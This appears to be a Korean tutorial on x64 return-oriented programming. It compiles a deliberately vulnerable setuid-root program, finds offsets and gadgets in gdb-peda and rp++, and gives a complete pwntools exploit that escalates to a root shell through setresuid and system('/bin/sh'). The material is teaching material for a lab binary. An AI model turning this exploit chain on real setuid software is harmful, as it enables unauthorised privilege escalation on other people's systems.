02.ROP(Return Oriented Programming)-x64

List

Return Oriented Programming(ROP) -x64

- **ROP(Return-oriented programming)는 공격자가 실행 공간 보호(NXbit) 및 코드 서명(Code signing)과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술입니다.**
    - RTL + Gadgets
- **이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고, "가젯(Gadgets)"이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요합니다.**
    - 각 가젯은 일반적으로 반환 명령어(ret)로 끝이나며, 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 있습니다.
    - 가젯과 취약성을 사용하면 공격자가 임의의 작업을 수행 할 수 있습니다.

Gadgets - POP; POP; POP; RET

- **x86의 경우 pop 명령어의 피연산자가 중요하지 않았지만, x64에서는 호출 규약 때문에 피연산자가 매우 중요합니다.**
    - x86의 호출 규약은 Cdecl(C declaration)이며, x64의 호출 규약은 System V AMD64 ABI 입니다.
        - 해당 페이지 참조 : 01.The basics technic of Shellcode
    - x64의 ROP에서 POP 명령어의 역할은 다음과 같습니다.
        - ESP 레지스터의 값을 증가시켜 함수를 연속으로 호출하는 것
        - 호출할 함수에 전달될 인자 값을 레지스터에 저장하는 것
            - 인자 값은 Stack에 저장되어있음
            - 해당 역할 때문에 필요한 Gadgets을 찾기가 어려워 집니다.
- **Gadgets .**
    - 호출할 함수의 첫번째 인자 값을 저장 : "pop rdi; ret"
    - 호출할 함수의 두번째 인자 값을 저장 : "pop rsi; ret"
    - 호출할 함수의 첫번째, 세번째 인자 값을 저장: "pop rdi; pop rdx; ret"
- **다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있습니다.**
    - x64에서는 Gadgets을 이용해 인자 값을 레지스터에 저장한 후에 함수를 호출합니다.
    - 아래 예제는 read() 함수 호출 후 System() 함수를 호출하게 됩니다.

ROP structure - x64

Stack Address	Value	Explanation
0x7fffffffe498	Gadget(POP RDI, ret) Address	Return address area of function
0x7fffffffe4a0	First argument value	
0x7fffffffe4a8	Gadget(POP RSI, POP RDX, ret) Address	
0x7fffffffe4b0	Second argument value	
0x7fffffffe4b8	Third argument value	
0x7fffffffe4c0	read function address of libc	
0x7fffffffe4c8	Gadget(POP RDI, ret) Address	
0x7fffffffe4d0	First argument value	
0x7fffffffe4d8	System function address of libc	

Proof of concept

Example code

rop.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    seteuid(getuid());
    write(1,"Hello ROP\n",10);
    vuln();
}
```

Build & Permission

Build

```
lazenca0x0@ubuntu:~/Exploit/ROP$ gcc -fno-stack-protector -o rop rop.c -ldl
lazenca0x0@ubuntu:~/Exploit/ROP$ sudo chown root:root ./rop
lazenca0x0@ubuntu:~/Exploit/ROP$ sudo chmod 4755 ./rop
```

Overflow

- **다음과 같이 Breakpoints를 설정합니다.**
    - 0x400756: vuln 함수 코드 첫부분
    - 0x40079a: read() 함수 호출 전

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/ROP$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400756 <+0>:     push   rbp
   0x0000000000400757 <+1>:     mov    rbp,rsp
   0x000000000040075a <+4>:     sub    rsp,0x40
   0x000000000040075e <+8>:     mov    esi,0x400864
   0x0000000000400763 <+13>:     mov    rdi,0xffffffffffffffff
   0x000000000040076a <+20>:     call   0x400630 <dlsym@plt>
   0x000000000040076f <+25>:     mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400773 <+29>:     mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400777 <+33>:     mov    rsi,rax
   0x000000000040077a <+36>:     mov    edi,0x40086b
   0x000000000040077f <+41>:     mov    eax,0x0
   0x0000000000400784 <+46>:     call   0x400600 <printf@plt>
   0x0000000000400789 <+51>:     lea    rax,[rbp-0x40]
   0x000000000040078d <+55>:     mov    edx,0x100
   0x0000000000400792 <+60>:     mov    rsi,rax
   0x0000000000400795 <+63>:     mov    edi,0x0
   0x000000000040079a <+68>:     call   0x400610 <read@plt>
   0x000000000040079f <+73>:     nop
   0x00000000004007a0 <+74>:     leave
   0x00000000004007a1 <+75>:     ret
End of assembler dump.
gdb-peda$ b *0x0000000000400756
Breakpoint 1 at 0x400756
gdb-peda$ b *0x000000000040079a
Breakpoint 2 at 0x40079a
gdb-peda$
```

- **다음과 같이 Overflow를 확인할 수 있습니다.**
  - Return address(0x7fffffffe458) - buf 변수의 시작 주소 (0x7fffffffe410) = 72
  - 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.

Overflow

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROP/rop
Hello ROP
Breakpoint 1, 0x0000000000400756 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe458        0x7fffffffe458
gdb-peda$ x/gx 0x7fffffffe458
0x7fffffffe458:        0x00000000004007d0
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800
Breakpoint 2, 0x000000000040079a in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe410        0x7fffffffe410
gdb-peda$ p/d 0x7fffffffe458 - 0x7fffffffe410
$1 = 72
gdb-peda$
```

Exploit method

- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

Exploit 순서

1. setresuid 함수를 이용해 권한을 root(0)으로 변경
2. system 함수를 이용해 "/bin/sh" 실행

- 이를 코드로 표현하면 다음과 같습니다.

ROP code

```
setresuid(0,0,0)
system(binsh)
```

- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.

확인해야 할 정보 목록

- "/bin/sh"문자열이 저장된 영역
- libc offset
    - printf
    - system
    - setresuid
- 가젯의 위치
    - pop rdi,ret
    - pop rsi,ret
    - pop rdx,ret

Find the Libc address of the "/bin/sh"

- **다음과 같이 libc 영역에서 "/bin/sh"가 저장된 영역을 찾을 수 있습니다.**
    - "/bin/sh" offset : 0x18cd57

Find the address of the "/bin/sh"

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7995d57 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ info proc map
process 5555
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/lazenca0x0/Exploit/ROP/rop
            0x600000           0x601000     0x1000        0x0 /home/lazenca0x0/Exploit/ROP/rop
            0x601000           0x602000     0x1000     0x1000 /home/lazenca0x0/Exploit/ROP/rop
            0x602000           0x623000    0x21000        0x0 [heap]
      0x7ffff7809000     0x7ffff79c9000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff79c9000     0x7ffff7bc9000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bc9000     0x7ffff7bcd000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bcd000     0x7ffff7bcf000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bcf000     0x7ffff7bd3000     0x4000        0x0
      0x7ffff7bd3000     0x7ffff7bd6000     0x3000        0x0 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7bd6000     0x7ffff7dd5000   0x1ff000     0x3000 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7dd5000     0x7ffff7dd6000     0x1000     0x2000 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7dd6000     0x7ffff7dd7000     0x1000     0x3000 /lib/x86_64-linux-gnu/libdl-2.23.so
      0x7ffff7dd7000     0x7ffff7dfd000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7fd8000     0x7ffff7fdc000     0x4000        0x0
      0x7ffff7ff7000     0x7ffff7ffa000     0x3000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb-peda$ p/x 0x7ffff7995d57 - 0x7ffff7809000
$2 = 0x18cd57
gdb-peda$
```

Get offset of printf, system, and setresuid functions

- **다음과 같이 Offset을 확인 할 수 있습니다.**
  - printf(libcbase) : 0x55800
  - system : 0x45390
  - setresuid : 0xcd570

Get offset

```
gdb-peda$ p printf
$3 = {<text variable, no debug info>} 0x7ffff785e800 <__printf>
gdb-peda$ p system
$4 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
gdb-peda$ p setresuid
$5 = {<text variable, no debug info>} 0x7ffff78d6570 <__GI___setresuid>
gdb-peda$ p/x 0x7ffff785e800 - 0x7ffff7809000
$6 = 0x55800
gdb-peda$ p/x 0x7ffff784e390 - 0x7ffff7809000
$7 = 0x45390
gdb-peda$ p/x 0x7ffff78d6570 - 0x7ffff7809000
$8 = 0xcd570
gdb-peda$
```

Find gadget

peda

- **다음과 같이 peda에서 필요한 Gadgets을 찾을 수 있습니다.**
  - 해당 바이너리에서 RDI, RSI에 대한 Gadgets은 찾았지만, RDX는 찾지 못했습니다.

        - 0x00400843: pop rdi; ret
        - 0x00400841: pop rsi; pop r15; ret
    - 이러한 경우 libc 파일에서 Gadgets을 찾아 활용할 수 있습니다.

Find gadgets - peda

```
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400843 : (b'5fc3')        pop rdi; ret
gdb-peda$ ropsearch "pop rsi"
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00400841 : (b'5e415fc3')        pop rsi; pop r15; ret
gdb-peda$ ropsearch "pop rdx"
Searching for ROP gadget: 'pop rdx' in: binary ranges
Not found
gdb-peda$
```

rp++

- **다음과 같이 rp++ 를 이용해서도 원하는 Gadgets을 찾을 수 있습니다.**
    - 해당 Exploit code에서는 0x001150c9 영역에 "pop rdx ; pop rsi ; ret ;" 코드를 사용하겠습니다.

find "pop rdx"

```
lazenca0x0@ubuntu:~/Exploit/ROP$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2 | grep "pop rdx"
0x00137393: mov eax, dword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ;  (1 found)
0x00137392: mov rax, qword [rbx+0x08] ; pop rdx ; call qword [rax+0x20] ;  (1 found)
0x001464f6: pop rdx ; add eax, 0x83480000 ; retn 0x4910 ;  (1 found)
0x00137396: pop rdx ; call qword [rax+0x20] ;  (1 found)
0x00196111: pop rdx ; cld  ; jmp qword [rax+0x5B] ;  (1 found)
0x001960d5: pop rdx ; cld  ; jmp qword [rax+0x5C] ;  (1 found)
0x0019b399: pop rdx ; cli  ; call qword [rsi+rax*2+0x02] ;  (1 found)
0x0019b389: pop rdx ; cli  ; jmp qword [rsi+rax*2] ;  (1 found)
0x001b0549: pop rdx ; cmc  ; jmp qword [rax+rax] ;  (1 found)
0x001b0591: pop rdx ; cmc  ; jmp qword [rax+rax] ;  (1 found)
0x001b05a9: pop rdx ; cmc  ; jmp qword [rax+rax] ;  (1 found)
0x001b0561: pop rdx ; cmc  ; jmp qword [rcx] ;  (1 found)
0x001b0579: pop rdx ; cmc  ; jmp qword [rcx] ;  (1 found)
0x00197509: pop rdx ; in eax, dx ; jmp qword [rsp+rbp*4] ;  (1 found)
0x00001b60: pop rdx ; int 0x4F ; jmp rdx ;  (1 found)
0x00198538: pop rdx ; int1  ; jmp qword [rdx+rbx+0x01] ;  (1 found)
0x00198539: pop rdx ; int1  ; jmp qword [rdx+rbx+0x01] ;  (1 found)
0x000ac883: pop rdx ; or al, 0x00 ; ret  ;  (1 found)
0x001150a3: pop rdx ; pop r10 ; ret  ;  (1 found)
0x001150a4: pop rdx ; pop r10 ; ret  ;  (1 found)
0x00101ffc: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001194ab: pop rdx ; pop rbx ; ret  ;  (1 found)
0x0011d174: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001435b2: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001435fa: pop rdx ; pop rbx ; ret  ;  (1 found)
0x00143824: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001150c9: pop rdx ; pop rsi ; ret  ;  (1 found)
0x00001b92: pop rdx ; ret  ;  (1 found)
0x00001b96: pop rdx ; ret  ;  (1 found)
0x00001b9a: pop rdx ; ret  ;  (1 found)
0x00001b9e: pop rdx ; ret  ;  (1 found)
0x001150a6: pop rdx ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROP$
```

Exploit code

exploit.py

```
from pwn import *
from struct import *

#context.log_level = 'debug'

#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so
libcbase_printf_offset = 0x55800
libcbase_system_offset = 0x45390
libcbase_setresuid_offset = 0xcd570

binsh_offset = 0x18cd57

pop_rdi_ret = 0x400843
pop_rsi_ret = 0x400841
pop_rdx_ret_offset = 0x1150c9

r = process('./rop')

r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset

payload = "A"*72
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase + libcbase_setresuid_offset)

payload += p64(pop_rdi_ret)
payload += p64(libcbase + binsh_offset)
payload += p64(libcbase + libcbase_system_offset)

r.send(payload)

r.interactive()
```

python rop.py

```
lazenca0x0@ubuntu:~/Exploit/ROP$ python exploit.py
[+] Starting local process './rop': pid 5698
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin),128(sambashare)
$
```

Related site

- N/a

Comments